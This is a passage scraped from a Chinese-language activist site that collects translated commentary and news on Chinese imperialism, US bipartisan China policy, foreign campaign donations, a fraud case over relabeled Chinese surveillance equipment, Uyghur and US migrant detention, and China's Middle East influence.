d/ 中国的内在分量（它的地理和人口规模）—— 像越南这样的国家可以跟随其邻国相同的演变，但不可能渴望获得大国地位。

中国的资本主义加速转型是在1989年4月被称为天安门的大规模镇压中对民众阶层造成历史性失败的情况下完成的（整个国家都受到影响，不仅仅是北京）。此后，社会阶层被重新安排。

6、无产阶级。

国有企业的工人阶级顽强地抵制当局所要求的劳动需求，因此，在不得已的情况下，政府决定在很大程度上将其从生产中撤出，同时在各种假象下继续支付其工资。农村人口的外流使得构成一个“新的无产阶级”成为可能，特别是在自由贸易区。70%的女性，当时她们是没有户口的工人（在中国，未经官方批准，禁止改变居住地）。对于资本原始积累时期所特有的超级剥削来说，流民是一支完美的劳动力。第一代来自内陆的移民妇女在等待回农村的过程中饱受折磨；第二代流民在许多协会的支持下开始为其正规化而奋斗。

7、社会和意识形态秩序的颠倒。

昨天还处于社会底层的知识精英们，再次被抬高。来自大众层的妇女被忽略了。邓小平倡导 “涓滴” 的美德（“让一部分人先富起来”）。国家经济部门现在与私人资本共生运作。中国拥有创纪录的亿万富翁数量，他们在中国共产党的管理机构中找到了自己的位置。

大国、帝国主义和相互依存

「图」

没有哪个资本主义大国不是帝国主义的。中国也不例外。举几个例子。

1、对其“周边地区”的压制。

由于高速交通网络的发展，西藏已经成为定居者殖民化的对象。在东突厥斯坦（新疆），以穆斯林为主的维吾尔族人口受到一系列措施的影响，从强制同化到大规模拘禁，目标至少是文化灭绝。

殖民地移交时声称保证尊重香港人民民主权利的条约（“一国两制”）已被习近平单方面否定了。经过多年的民众抵抗，北京强行实施镇压，将独立组织定为犯罪（被迫解散），将任何异议判处重刑。

自决权，人民的自决自由，已经不再是帝国前进中的问题。

2、为了保护其在“新丝绸之路”时代的投资，确保进入印度洋（“走廊”），北京毫不犹豫地支持最糟糕的独裁政权（如缅甸），并干涉另一个国家的内政（如巴基斯坦）。

3、美国的暂时瘫痪（在中东问题上陷入困境）使习近平得以将整个南海军事化，控制了从菲律宾到越南等沿岸国家的海洋领土。北京谴责美国在该地区的大国政策，但毫不犹豫地使用其海军的压倒性优势来对付其邻国。

4、为了确保其海上通道（商业或军事），北京已经占据了从斯里兰卡到希腊的许多国家的港口，并在必要时使用债务武器。债务违约可以让北京要求获得一个港口的特许权，期限长达99年（这是香港的殖民地地位！）。

5、通过拼命地在国际上投射自己，中国现在通过要求获得重要的海洋空间，参与了南太平洋势力范围的划分。

美国过去和现在都是主要的帝国主义国家，是全球军事化、战争和不稳定的第一来源。这一点很重要，不必强调，只是要指出，乔·拜登成功地将美国战略的重点重新放在主要的印-太战区上。奥巴马曾经想过这样做，但由于被卷入中东问题而未能如愿。唐纳德·特朗普的政策与乔·拜登的政策之间存在着连续性。不过，后者的政策似乎比特朗普的政策更加连贯。

面对美国的威胁，毛泽东政权曾经制定了一个防御战略，其支点是军队、民众动员和国家领土维度：入侵者会在那里迷失方向。另一方面，一个“大国”必须在海洋（以及今天在太空和人工智能领域）宣

扬自己。这就是为什么海军航空兵是习近平调动国家资源在其他领域快速发展的政策的首要军事支点。

中国现政权这样做，是在参与世界军事化的动态（从而参与气候危机的恶化）。一些西方伪左派说中国有“权利”要求自己在阳光下的地位，但从什么时候开始我们需要捍卫一个政权的“权利”，而不是人民的权利？

华盛顿和北京在台湾问题上的紧张关系现在已经达到了顶峰。这里面有两个对立的逻辑。一是国家之间激烈而持久的竞争，另一是资本主义全球化，在这种全球化中，技术、生产链 —— “价值链” —— 贸易或金融方面的相互依赖占主导地位。竞争在各个领域进行，“阵营”在全球化的市场和金融中出现。无论当今的全球化面临什么样的矛盾，资本主义的经济“去全球化”似乎都是一个赌注。这种相互依存的关系使得人们可以认为一场战争不符合中国或美国资产阶级的利益；但是，紧张程度如此之高，以至于我们不能排除具有爆炸性后果的滑坡。由于拜登和习近平都面临着脆弱的国内局势，所以国际局势只会更加不稳定。

中国将走向何方？您需要自己思考。现在的中国是习近平的集团，它已经强行改变了政治体制。昨天，一个合议制的领导层至少有可能准备好几代的传承；而今天，习近平派系独自掌权。经过血腥的清洗和对宪法的修改，他可以声称自己是“终身领导”。

在中国，从统治阶级的集体利益来看，政治人员的选拔也变得越来越不合理。〇

延伸阅读：

- Philip S. Golub, *Le Monde Diplomatique*, November 2021 “Wall Street’s unlikely new romance with China”.
- Pierre Rousset “The Chinese Experience and the Theory of Permanent Revolution”.
- Pierre Rousset “XXth Century Chinese revolutions—II—China, Maoism and popular power, 1949–1969”
- Daniel Tanuro “ A look back at the history of East Turkestan and the geopolitics of Central Asia”.
- *The Guardian*, 25 September 2016 “Barack Obama’s ‘Asian pivot’ failed. China is in the ascendancy”
- Dan la Botz *New Politics*, 13 October 2021 “Biden Focuses U.S. Foreign Policy on Challenging China”

- Brian Hide, *Spectre*, 4 November 2021 “Caught Between the Two Superpowers”
- Au Loong Yu, Pierre Rousset, ESSF, 22 October 2017 “The 19th Congress of the Chinese Communist Party—Modernisation by a pre-modern bureaucracy?”
- china-a-new-imperialism-emerges

原文

中国与两党关系的危险 - iyouport

关于高堡奇人

中国是一个“有用的威胁”？

【按】本文不代表IYP的立场，我们对不论是中国还是美国的国家利益都不感兴趣，我们关注的是人民的利益。但是这篇文章很有趣，它从相关评论通常不会涉及的微妙关系入手，它展示的思路中所基于的事实是关注中美关系的中国观察者需要了解的。

正如IYP多次强调过的，如果您支持特朗普仅仅是因为期待美国来遏制中国，那么您完全不必支持特朗普，因为不论任何人当选都会遏制中国，因为基于美国的利益这是一个 “不得不” 的时刻。但是，如果您停留在对美国的期待上，那将完全不现实。

本文的作者 John Feffer 是 “外交政策焦点” 的负责人，“外交政策焦点”是华盛顿特区政策研究所的一个项目。FPIF 称自己是作家、艺术家和活动家的 “无墙智囊团”，旨在使美国成为更负责任的全球合作伙伴。

没有任何一个国会共和党人投票支持最近的1.9万亿美元经济刺激计划。

甚至连所谓的温和派共和党人，也就是支持第二次弹劾唐纳德·特朗普的少数人，也不愿意支持这个帮助受疫情打击最严重的美国人的经济方案。整个共和党核心小组并不只是无视民主党人。他们无视了这个共和党市长以及41%的共和党选民，他们赞同这项立法。

【注：“这个共和党市长” 指的是加州最贫穷的城市弗雷斯诺，受疫情影响最严重的地方，失业率飙升至10%以上，并高居不下；无家可归者激增；随着企业关门，税收收入暴跌。而且情况可能很快会变得更糟。该市拥有五十万人口。】

很自然地，统一的共和党党团抱怨乔·拜登没有展示他承诺的两党合作。他们似乎没有想到，两党合作是双向的。他们这么快就忘记了，

两院几乎所有民主党人都在2020年3月投票支持了特朗普政府最初的救助方案。

尽管如此，拜登政府仍然渴望与共和党议员找到共同点。鉴于重建美国桥梁、高速公路等是上届政府的优先事项，本届总统对今年夏天的基础设施法案能吸引共和党人支持抱有很大的希望。

但是，这里有一个真正令人不安的情况。为了寻找另一个统一的话题，拜登团队抓住了中国。

民主党人和共和党人都很关注中国最近的所作所为。两党对香港和新疆发生的事都很反感。两党中的鹰派人士早就对北京在南中国海的行动提出了警告。尽管经济意识形态迥异，但民主党和共和党人还是携手反对中国的贸易和货币政策、对知识产权的轻视态度，以及在全球南方主导市场的努力。

然而，从表面上看，参议院多数党领袖查克·舒默（Chuck Schumer）开始拉拢的法案只是另一项基础设施举措。据《华盛顿邮报》报道，它的目的是“支撑美国的供应链，扩大美国半导体的生产，在全国范围内建立5G网络，并向美国制造企业和枢纽投入数十亿美元的投资”，除此之外，还有其他建议。

但这不仅仅是基础设施。这项措施是专门为了加强美国对中国的全方位打击。

“讨厌中国是两党的大事，舒默有机会掌握抵制中国的主导权”，右翼研究所美国行动论坛主席道格拉斯·霍尔茨·艾金指出。

根据对这种两党关系最良性的解读，拜登政府将制造一个对抗中国版的斯普特尼克时刻，1957年，苏联发射第一颗人造卫星，促使美国政府在科技方面的支出大幅增加以追赶俄罗斯人。自由派专栏作家E.J.Dionne 写道：“中国带来的危险可能会从根本上重新调整美国对政府在国内经济增长、研究和发展中的作用的态度，使美国更加强大”。

与特朗普政府对中国产品征收的关税相比，强有力的产业政策确实更可取。如果对中国的恐惧战胜了保守派对政府干预经济的厌恶，那么，进步人士真的应该在这份特殊的礼物上吹毛求疵吗？

“四方”

「图」

四国机制是美国向中国施压的最新多边机制。这四个国家—— 美国、印度、日本和澳大利亚—— 都对北京有各自的不满。但3月是这四国首脑首次作为2007年成立的 “四方安全对话” 的一部分举行会晤。

四国领导人最近在《华盛顿邮报》上发表的声明中没有提到中国。都是关于在气候、大流行病和加强民主方面的合作。但这只是外交上的说法。正如亚历克斯·沃德(Alex Ward)在《Vox》中写道的，中国 “在与印度有争议的边界问题上陷入了致命的争斗，与澳大利亚发动了贸易战，入侵美国政府，并多年来利用其强大的实力在经济和军事问题上对日本推三阻四”。特朗普曾经试图团结这四个国家支持自己的抵抗中国议程。但他的努力因许多方面的怀疑而受到影响，即 怀疑他会尽快在四国背后与中国谈判达成协议，而不是协调统一战线。

相比之下，现任总统已经稳步地摆脱了与中国接触的偏好。他的一位顾问说，在总统竞选期间，“拜登不得不在中国问题上被重新编程”。这种重新编程解释了拜登在选举期间语气更加严厉的原因，比如称中国领导人习近平为暴徒。

作为总统，拜登一直小心翼翼地发出既友好又威胁的音符。应对气候危机的合作当然是一种可能。但推动与中国的交易并不会在国会赢得对新总统的支持，或者说，不会在美国公众中赢得支持。在最近的盖洛普民意调查中，中国的不受欢迎程度上升到79%，这是40多年来最差的表现。仅仅在过去几年中就发生了转变。根据皮尤研究中心的民调，现在有67%的美国人对中国有 “冷感”，而2018年只有46%。

库尔特·坎贝尔被任命为国家安全委员会的印-太协调员，表明了政府对亚洲问题的新方向。坎贝尔是奥巴马政府国务卿希拉里·克林顿领导下的 “太平洋支点” 的重要设计师。他不会像马修·波廷格在特朗普的国安会中扮演的那种相当的抵制中国角色，但他坚信要加强双边联盟和多边协调来遏制中国。

在2021年1月《外交事务》上的一篇文章中，坎贝尔引用亨利·基辛格断言美国需要恢复该地区的 “力量平衡”。这实际上意味着，美国必须在其朋友的帮助下，反击中国，以重新树立自己在太平洋地区的军事和经济权威。坎贝尔解释说，实际上，这意味着：

虽然华盛顿应该保持其前沿存在，但它也需要与其他国家合作，将美军分散到东南亚和印度洋。这将减少美国对东亚少数脆弱设施的依

赖。最后，美国应鼓励地区国家之间建立新的军事和情报伙伴关系，同时仍应深化那些美国在其中发挥主要作用的关系 —— 为人们熟悉的以美国为中心、盟国为辐条的地区联盟体系装上一个“轮胎”。

多年来，中国不仅在亚洲，而且在国际上稳步侵蚀美国的力量。它利用特朗普时代的反全球主义，扩大其在联合国等国际机构及其世界卫生组织等相关机构的影响力。在它扩大影响力遇到困难的地方，比如对国际金融机构，它干脆自立门户。拜登当选后不久，中国就加入了“区域全面经济伙伴关系”（包括东南亚国家加上澳大利亚、新西兰、韩国和日本）。这一举动，再加上北京最近与欧盟达成的投资协议，以及习近平宣布中国也将考虑加入修改后的跨太平洋伙伴关系，都表明中国对美国加大多边安全安排的经济反击。

这些举动并没有引起人们的注意。国务卿安东尼·布林肯和五角大楼负责人劳埃德·奥斯汀三世在3月首次访问亚洲前夕，在《华盛顿邮报》上写道：“如果我们不采取果断行动并发挥领导作用，北京就会”。（和特朗普时期完全一样的说法，“只能有一个帝国”）

拜登政府决定把重点放在加强美国经济竞争力上，尤其是在科技领域，从某种程度上来说是承认失败：“中国在全球经济中已经超越了美国”。华盛顿目前唯一能与之竞争的方式就是在军事上孤注一掷，并试图在国内进行追赶。

中国是一个有用的威胁？

「图」

投资于美国关键产业的重要性是很难争辩的。共和党人和自由派经济学家通常反对这种在市场上挑选赢家和输家的政策，除非涉及到军工综合体。只有巨大的外部威胁才能让这些意识形态主义者接受这样一个显而易见的事实：政府可以而且应该塑造市场。

但把这种产业政策与“中国威胁”搭上关系，这里有一些问题。

全球经济需要全面改革，以应对气候危机、猖獗的经济不平等、自动化和其他发展。现在不是美国把与中国的经济关系变成冷战竞争的时候。当然，完全可以让这两个国家竞争谁能制造出最好的笔记本电脑，但合作对于制定全球经济的新规则至关重要。稳健的产业政策并不排除合作，除非它助长了一种怨恨和偏狭，使合作几乎不可能。

这次大流行暴露了全球供应链的脆弱性，国际贸易崩溃，各国最初都

在争夺稀缺的医疗设备。然而，这并不是一个新问题。Shelley Rigger 在她2013年出版的关于台湾的书中写道：“1999年，台湾中部偏远山区的一座输电塔倒塌，使该岛的高科技产业停电了一整天。这次中断使世界内存芯片的价格几乎翻了一番，TFT-LCD平板显示器的供应花了半年时间才恢复正常”。 自然(和非自然)灾害会都对基本部件的供应造成严重破坏。

确保计算机芯片的本土供应可能在短期内很好地保护了美国，但对解决供应链的根本性问题却没有什么作用。考虑到可以追溯到丝绸之路甚至更早的全球贸易路线的重要性，回到每个国家都生产所有必需品或没有必需品的时代并不是一个真正的选择。在这个气候危机的时代，转包和重新定位都是必不可少的。但是，适应这种变化的全球经济的重新排序应该是一个协调的问题，而不是冷战竞争的问题。

此外，优先获得对中国的竞争优势的产业政策可能会掩盖拜登政府的另一个重点，即 减少国家和全球碳足迹。高科技产品往往依赖于开采业的关键产出，如钴和锂。建立在最大限度减少碳排放和使用稀有矿产基础上的产业政策，而不是打败中国，将挑选出截然不同的经济赢家和输家。

在外交政策方面，两党合作不一定是美德。美国两大党围绕发动越战、冷战时期对抗苏联、9–11事件后打击所谓的 “恐怖主义” 都走到了一起。第一场失败了，第二场代价高得离谱，差点以核灾难收场，第三场则把国家带入了臭名昭著的 “永恒的战争”。

- 《从冷战到反恐战争：专制 “解决方案” 带来的危害往往大于其表面上旨在应对的威胁》

就中国的人权记录、在南海的过激行为、或其在世界各地的企业行为（比如冈比亚的鱼粉业务）向中国提出挑战是适当的；但在与亚洲大国的军事、经济和文化竞争中全力以赴—— 并为此形成微薄的两党共识 —— 是愚蠢的高度。〇

China and the Perils of Bi-Partisanship

原文

中国人的黑钱如何进入了美国政治系统？ - iyouport

关于高堡奇人地缘政治

【2019年6月19日存档】中国人的黑钱如何进入了美国政治系统？相关法律存在什么样的漏洞？.....

联邦选举委员会已经公布了其历史上最重要的执法行动之一，引用的是 2016年独立媒体 theintercept 的调查系列。

这份系列调查题为“外国影响力”详细介绍了如何通过支持2016年杰布·布什总统候选资格的烧钱机器超级PAC来赢得在美国的收益，**130**万美元的竞选捐款来自“美国太平洋国际资本有限公司”，这是一家由两名中国人控制的加州公司。

FEC罚款 APIC 550,000 美元、以及 Right to Rise USA 390,000美元。总计940,000美元，这是 FEC 开出的史上第三大规模的罚款。

外国公民在美国选举中捐款是违法的。然而，APIC和 Right to Rise USA 试图利用最高法院2010年公民联合会裁决创造的一个奇怪的漏洞，将海外现金汇集到美国政治中。

执法行动的详细信息在致 Campaign Legal Center 的一封信中公布，该金融监管机构根据 The Intercept 的调查提出了投诉。

消费者权益组织 Public Citizen 负责人罗伯特韦斯曼在一份声明中说：“这个案件非常令人震惊，一旦被揭露，即使是功能失调的 FEC 也要被迫采取行动。”

巴拉克奥巴马在其2010年国情咨文中发出警告称，公民联合会的裁决将“为包括外国公司在内的特殊利益集团打开闸门，在我们的选举中无限制地投入。”APIC 已经在试图做到这一点了。

在 Citizens United 之前，只有美国公民才可以捐出有限的资金来支持美国的政治活动。Post-Citizens United 和相关决定认为，美国公司可

以无限量直接捐赠给超级 PAC。

但是，根据现行法律，任何在美国注册成立的公司都被视为“美国”公司—— 即使它是由外国人全资拥有的。在此案中拥有者是中国人。

新加坡房地产集团 SingHaiyi 的美国子公司就是这种情况。根据 SingHaiyi 2014年的公开文件，该公司由 SingHaiyi 创始人 Gordon Tang 和 Huaidan Chen 拥有，他们是已婚夫妇是中国公民和新加坡合法居民。Neil Bush—乔治W.布什的兄弟在 APIC。

捐赠的概念首先由 Charlie Spies 审查，他是一位强硬的共和党律师，也是 Right to Rise USA 的财务主管。Spies 在2015年2月制作了一份备忘录，根据奥巴马使用的相同推理。Spies 在提及 APIC 时写道，“一家国内子公司现在可能直接向超级 PAC 提供与联邦选举有关的捐赠。”在收到备忘录后，APIC记录了两笔捐赠，第一笔捐款100万美元，另一笔捐款300,000美元。

APIC 和 Right to Rise USA 被质疑的原因是未能遵循对外国人参与美国大选的限制。根据 FEC，只有美国公民才可以参与有关 APIC 捐款的决策过程—— 不包括 Tang 和 Chen 等外国人。

然而，The Intercept 的调查显示，对 Right to Rise USA 的捐赠是在 Tang 的指导下进行的。在两年前接受 The Intercept 采访时，Tang 告诉记者，他的妹夫 Wilson Chen 曾要求他“捐款，所以我做了，我真的不介意。” Wilson Chen 告诉记者，这笔捐款已获得 APIC 的批准，其中包括 Tang 和 Huaidan Chen。

在调查过程中，FEC 证实，Tang 已经参与了捐赠沟通。2015年初开始的电子邮件显示，Neil Bush 已经与他的 APIC 成员联系，为他兄弟的总统竞选活动提供财政支持。

在一封电子邮件中，布什写道，Tang 已“表示有兴趣通过 APIC 捐赠给我的兄弟 Jeb 的政治行动委员会。”Huaidan Chen 回复了这封电子邮件，并向 Wilson Chen 致电，说，“Wilson，Gordon 希望你跟进此事。请咨询[APIC的内部法律顾问]并通过电话与他联系。“

大多数大型企业参与竞选捐款的不透明性质，通常通过不公开的“黑钱”或有限责任公司提供，隐藏了美国选举中企业资金的真实程度。去年最著名的一部纪录片《黑钱》就揭示了这些伪民主的做法。

Public Citizen’s Weissman 指出，FEC 以其“执法不力”而闻名，其对

APIC 和 Right to Rise USA 的惩罚特别值得注意。但是，他说，“考虑到黑钱组织之间的大量资金徘徊，我们完全有理由怀疑像 APIC 案所揭示的这种违法行为是相对普遍的。”

NTERCEPT INVESTIGATION LEADS TO RECORD FINES OVER FOREIGN CAMPAIGN CONTRIBUTIONS “there’s every reason to suspect violations like those in the APIC case are relatively common”

原文

中国制造的监视设备一直在化妆成”美国制造”出售给美国政府和私人公司 - iyouport

关于高堡奇人

【2020年4月8日存档】这篇是官媒的报道，显然没有说清楚一件重要的事：该公司是如何战胜一大群真正的美国制造公司而直接打入美国政府机构和军事分支机构内部的？而且持续了13年之久？美国政府和军方的采购依照的标准是什么？

纽约一家公司及其七名现任和前任雇员被指控非法进口中国制造的监视设备，然后将其出售给美国政府机构、军事分支机构和私人客户，并谎称那是美国制造的。

根据当局的说法，**Aventura Technologies** 出售的中国监视设备最终出现在美国海军舰船和军事基地上，并且在许多情况下都具有网络安全漏洞，自2010年以来，该公司获得了超过2000万美元的联邦合同。

官方说，被指控的是 Aventura 的整个高级管理团队，包括其事实上的所有者和实际的首席执行官 Jack Cabasso，他拥有广泛的犯罪记录。

指控还涉及他的妻子 Frances Cabasso，她在公司中没有实际执行职务。

所有七名被告均被控以非法进口和串谋实施邮件和电汇欺诈罪。Cabassos 还被指控洗钱阴谋，被指控通过空壳公司骗取 Aventura 的非法利润。

总部位于长岛 Commack 的 Aventura 办公室被联邦当局突袭。特工们在该公司查封了所有文件盒和其他证据。

特工还缴获了300万美元和据称是 Aventura 拥有的豪华游艇，该游艇

被 Capabassos 用于私人巡游并出租给其他人。

该公司的网站将自己描述为安全硬件和软件制造商。

“由于向美国政府作出了虚假陈述，Aventura 获取了数千万美元，他们出售的是中国制造的监视系统，这些监视系统最终被部署在美国陆军和空军基地、能源设施、海军设施、甚至美国航母上。” Richard Donaghue 律师在纽约布鲁克林举行的新闻发布会上说。

Donaghuse 说，Aventura 将从中国进口的设备说成是在 Commack 生产的，并在设备上贴上“美国制造”的标签，作为该计划的一部分。

据有关部门称，自2010年以来，该公司从中国接收了大约 1000 批“复杂的” 电子设备。

检察官还声称，Aventura 高管与中国供应商“合谋”对产品进行“修改”，以掩盖其在中国制造的事实。

Donaghue 说，这包括修改电路板上的标记和软件代码中的某些“身份标识”。

Donaghue 说，据称该公司从事设备的进口和转售已超过**13**年。他说，某些系统具有 “已知的漏洞”。

Jack Cabasso 没有获得保释。检察官希望将他一直拘留直到审判。

他的妻子以一百万美元的保释金获释。

检察官在一份法庭文件中说，Jack Cabasso “策划”了“国际欺诈阴谋”，并使用洗钱技术（包括空壳公司和与第三方受益人的房地产交易）“赚了大钱”。

该文件说，Cabasso “漫长的犯罪历史” 包括 “涉及欺骗和干预司法程序的众多罪名。”

1992年，Cabasso 因涉嫌串谋影响陪审员而被定罪，他在另一起刑事案件中被指控电汇欺诈计划。他还于1982年被判犯有大型盗窃罪，以及1985年的盗窃罪企图。

检察官的备案文件指出：“在2000年3月，Cabasso 因参与一项股票欺诈计划而被定罪，据报他从16,000名投资者手里窃取了1.76亿美元。”

Cabasso 在2012年因涉嫌欺诈性使用商业伙伴信用卡来支付Google广告活动（该广告活动将流量吸引到 Aventura 网站）的计划而被捕，最终无罪释放。

进口廉价设备并重新标记为 “美国制造” 的情况比较普遍。

但是，在 Aventura 案中的指控说明了尽管美国试图限制进口某些中国技术，但中国设备仍最终出现在供应链中，甚至在敏感的政府设施中也被使用。

美国在其禁止的供应商名单中又增加了一些中国公司，原名单中已经包括该国一些最大的设备制造商比如华为和中兴通讯。新名单包括监视行业巨头海康威视和大华科技，以及在数字取证、信息安全和面部识别领域的重要中国公司。

海康威视对 CNBC 称，该公司交付给 Aventura 的所有产品均未包含任何标签来表明原产地为“美国制造”。〇

原文

中国和美国，两个集中营 - iYouPort

关于高堡奇人

本文的作者 Christopher Brauchli 是著名专栏作家和律师。毕业于哈佛大学和科罗拉多大学法学院，在洛矶山法律评论编辑委员会任职。在这篇文章中，他将中国的维吾尔族“再教育营”和美国南部边境关押移民的营地做了一个简单对比。

这完全是感知问题。通常，外部观察者对事物没有正确的看法，也没有意识到观察到的并不是实际发生的事。考虑一下中国西部的维吾尔人和美国西南边界的移民。

在美国，人们对维吾尔人的困境非常关注，主流媒体纷纷评论。维吾尔人和其他穆斯林少数民族群体的成员被关押在中国西北部的新疆地区，外界观察者认为这些情况已经不是可悲二字就能形容的。被拘留的维吾尔族人数可能超过了一百万，据报营地的居民忍受着酷刑和食物匮乏。报道还说，“已经造成了很多人的死亡”。

在解释对维吾尔族人的待遇时，中国人表示有必要打击他们自称的“西部边境的极端主义和恐怖主义”。中国人说，这是在模仿特朗普在美国南部边境对移民所做的同样的事。

新疆维吾尔自治区主席 Shohrat Zakir 在中国官媒上为这个拘留营做辩护，他称，营地是“色彩缤纷”的地方，配备了排球场，乒乓球桌，每个房间都有电视机，那里的人们可以参加唱歌比赛，打篮球和看电影……他将这些设施描述为“度假式的”。

另一边，美国也有自己的“Shohrat Zakhir”，负责描述美国拘留营的美妙品质。他的名字叫 Matthew Albence。Albence 先生担任移民和海关执法局（ICE）的代理副主任。

Albence 和中国的那位大侃一样，他也描述了美国移民拘留营的设施。他的描述使得美国的拘留设施与中国维吾尔族拘留营的设施一样美观。Albence 先生在参议院司法委员会作证时表示，美国经营的设施更像是夏令营而非监狱。他说：“在那里的人可以获得全天候的食物和水。他们有受教育的机会。他们还有娱乐机会，那里有篮球场，

有运动课，还有我们放在那里的足球场。他们还有牙医和心理健康协助的机会……”

但是，当加州参议员 Kamala Harris 问他你会不会把自己的孩子送去那个营地的时候，他拒绝回答问题。

中国呢？似乎没人对新疆维吾尔自治区主席 Shohrat Zakir 提出同样的问题(抱歉，这句话并不在原文中，是译者自行添加的)。

在谈到维吾尔族人所在的难民营时，纽约时报的作家问道：“为什么中国的邻国不要求结束这种虐待？” 同样的问题也可以带到参议院司法委员会，Albence 先生出现在该委员会面前。美国政府发言人为美国对非法移民和寻求庇护者的严厉待遇辩护，并采用了中国维吾尔族拘留营发言人的谈话要点，这是美国的悲剧。

Weand the Uighurs: Consider the Uighurs in far West China and illegal immigrants along the southwest border of the United States. It is a sad commentary on the United States when a spokesman for the administration who is justifying the United States' harsh treatment of illegal immigrants and asylum seekers has gotten his talking points from a spokesman for the Uighur detention camps in China.

原文

中国如何在不发射子弹的情况下 “赢得” 中东 - iyouport

中东和北非关于高堡奇人

“如果石油能源争夺和政治影响力是终极奖品，那么似乎中国，而不是美国，最终赢得了伊拉克战争及其后果—— 没有花费一枪一炮” —— Jamil Anderlini

---

【按】中国的民主化变革不能也无法依靠任何其他国家，只能取决于中国本土的反抗者的智慧和能力，这是我们一直以来的主旨，也是我们的协助方向。本文不代表IYP的意见，主要因为我们不关心地缘政治利益。

但我们依旧有 “中东和北非” 专栏，因为这是中美高堡奇人的地缘政治要塞，作为帮助活动家观测局势的一个窗口。对局势的敏锐——不论是本土局势还是国际局势 —— 都是反抗者的战略智慧的重要来源。

本文所阐述的事实对于帮助那些专注于地缘政治博弈的中国知识分子和异议人士保持清醒，具有一定作用。

拜登政府领导下的美国外交政策在如何对抗中国不受阻碍的经济增长和政治野心方面的举措备受关注，3月12日，美国、印度、澳大利亚和日本以虚拟峰会的形式进行了联系，这是在此 “四方” 成立14年后的第一次峰会。

尽管所谓的 “四方” 在他们的联合声明中没有透露任何新内容，但这四个国家的领导人谈到了这次 “历史性” 的会议，被《外交学者》网站描述为 “该集团发展中的一个重要里程碑” 。

实际上，那个联合声明没有什么实质内容，当然也没有什么新的蓝图来说明如何扭转—— 甚至减缓—— 北京的地缘政治发展趋势、日益增长的军事信心、以及在全球战略水域或周围地区越来越多的存在。

如果您错过了《中国与两党关系的危险》

多年来，“四方”一直在忙于制定统一的对抗中国战略，但却未能制定出任何具有实际意义的方案。撇开那场所谓的 “历史性” 会议不谈，中国是世界上唯一一个被预测在今年 —— 以及不久之后 —— 将产生重大经济增长的主要经济体。国际货币基金组织的预测认为，中国的经济增长在2021年预计将达到8.1%，而另一方面，根据美国经济分析局的数据，美国的GDP在2020年下降了约3.5%。

“四方安全” 对话始于2007年，并在2017年重启，其目的显然是为了击退中国在各个领域的发展。与大多数美国联盟一样，“四方”是军事联盟的政治表现，即 马拉巴尔海军演习。后者始于**1992**年，并很快扩大到包括所有四个国家。

自从华盛顿的 “亚洲支点” 以来，即 扭转了美国既定的、以更加关注中东为前提的外交政策，几乎没有证据表明华盛顿的对抗性政策削弱了北京在整个大陆的存在、贸易或外交活动。除了美国和中国海军在南中国海的 “亲密接触” 之外，几乎没有其他可以报道的事了。

如果您错过了《在拜登任期内，美国和中国会在西太平洋擦枪走火吗？》

虽然许多媒体的报道都集中在美国向亚洲的支点上，但很少有人提到中国向中东的支点，而中国在经济和政治方面的努力远比美国的地缘战略转变更为显著。

美国外交政策优先事项的震荡变化源于其未能将2003年的伊拉克战争和入侵转化为可解读的地缘经济成功，以夺取伊拉克的石油财富 —— 这是世界第二大探明石油储备。事实证明，美国的战略是一个完全的失误。

在2020年9月发表在《金融时报》上的一篇文章中，贾米尔·安德里尼提出了一个有趣的观点。他写道：“如果石油能源争夺和政治影响力是终极奖品，那么似乎中国，而不是美国，最终赢得了伊拉克战争及其后果 —— 没有花费一枪一炮”。

中国现在不仅是伊拉克最大的贸易伙伴，而且北京在中东地区的巨大经济和政治影响力也是惊人的。据《金融时报》报道，中国现在是中东最大的外国投资者，并与所有海湾国家建立了战略伙伴关系 —— 巴林除外。与此相比，华盛顿在该地区混乱的外交政策议程、空前的优柔寡断、缺乏可定义的政治理论，以及其区域联盟的系统性崩溃，令人担忧。

如果在全球范围内理解，这种模式会变得更加清晰和令人信服。到2019年底，中国在外交方面努力塑造自己为世界的领导者，因为该国当时拥有276个外交职位，其中许多是领事馆。与大使馆不同，领事馆在贸易和经济交流方面发挥着更重要的作用。根据《外交事务》杂志公布的2019年数字，中国有96个领事馆，而美国有88个。直到2012年，北京的外交代表机构还明显落后于华盛顿，正好是23个职位。

中国在哪里有外交存在，哪里就有经济利益。与美国不连贯的全球战略不同，中国的全球野心是通过一个庞大的网络来阐述的，这个网络被称为“一带一路”倡议，估计耗资数万亿美元。完成后，“一带一路”将把60多个国家统一在中国主导的经济战略和贸易路线周围。为了实现这一目标，中国迅速采取行动，与世界上最具战略意义的水域建立更紧密的物理距离，对一些水道进行大量投资，并在位于非洲之角的吉布提建立其有史以来第一个海外军事基地。

在美国经济萎缩，其欧洲盟友在政治上四分五裂的时候，很难想象任何美国对抗中国影响力的计划会取得很大成功，无论是在中东、亚洲还是其他地方。【原文如此】

华盛顿的中国战略的最大障碍是，不可能有美国取得明确和准确胜利的结果。在经济上，中国目前正在推动全球增长，从而平衡了COVID-19大流行病导致的美国-国际危机。西方不敢在经济上伤害中国，否则将削弱美国以及全球市场的力量。【原文如此】

如果您错过了：

- 《中国的银河帝国，和高堡奇人》

《条条大路通北京》

《中国想要的世界》

《中国的“新疆模式”如何借鉴美国、英国和以色列的平叛战略》

《美国在阿富汗的战争不会结束，因为中国 ...》

政治上和战略上也是如此。在中东问题上，华盛顿向亚洲转移的做法在多个方面都产生了反作用。一方面，它在亚洲没有取得明显的成功，另一方面，它为中国创造了一个巨大的真空，让中国重新调整自己在中东的战略重点。

有些人错误地认为，中国的整个政治战略是建立在其仅仅“做生意”的愿望之上的。虽然经济主导权在历史上是所有超级大国的主要动力，但是，北京对全球霸主地位的追求几乎不限于金融领域。在许多方面，中国要么已经取得了领先地位，要么正在接近这一地位。例如，3月9日，中国和俄罗斯签署了一项建造国际月球研究站（ILRS）的协议。考虑到俄罗斯在太空探索方面的长期遗产和中国最近在该领域的成就 —— 包括有史以来第一次在月球的南极-艾特肯盆地地区登陆的航天器 —— 这两个国家将在复活的太空竞赛中占据领先地位。

当然，以美国为首的“四方”会议既不是历史性的，也不是改变游戏规则的，因为所有的指标都证明，中国的全球领导地位将继续不受阻碍，这一后果性的事件已经在重置世界上已经存在了一个多世纪的地缘政治模式。○

本文作者拉姆齐·巴鲁德博士是伊斯兰和全球事务中心（*CIGA*）的非驻地高级研究员，也是非洲-中东中心（*AMEC*）的高级研究员；也是《巴勒斯坦纪事》的编辑。他出版过五本书，他撰写有关巴勒斯坦，中东和全球问题的著作已有*20*多年的历史。他的网站是：*www.ramzybaroud.net*

How China Won the Middle East Without Firing a Single Bullet

原文

中国症候群：当3Com遇到华为 - iyouport

关于高堡奇人地缘政治

